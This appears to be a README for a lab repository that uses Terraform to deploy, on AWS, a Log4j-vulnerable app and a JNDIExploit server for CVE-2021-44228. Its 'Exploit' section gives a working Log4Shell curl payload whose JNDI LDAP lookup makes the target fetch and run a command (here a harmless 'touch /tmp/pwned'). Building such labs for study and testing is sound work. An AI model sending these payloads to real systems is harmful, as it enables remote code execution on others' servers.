# log4j-vulnerable-app-cve-2021-44228-terraform
A Terraform to deploy vulnerable app and a JNDIExploit to work with CVE-2021-44228

# About Stack

This terraform creates two instances on a VPC in AWS Cloud.

You just need to export your **AWS_ACCESS_KEY_ID** and **AWS_SECRET_ACCESS_KEY**

One instance is [JNDIExploit](

Second is a [Vulnerable-App]( to log4j exploit

**Please replace your SSH-Public-Key in terraform before apply**

terraform init
terraform plan
terraform apply --auto-approve

# Exploit

After deployment on aws you can exploit it with curl request, and verify file creation in /tmp on the vulnerable-app container.

curl ${vulnerable-app-IP}:8090 -H 'X-Api-Version: ${jndi:ldap://${JNDIExploit-IP}:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

On the vulnerable app server run the following command to verify command execution, you should see **pwned** file
sudo docker exec -ti vulnerable-app ls /tmp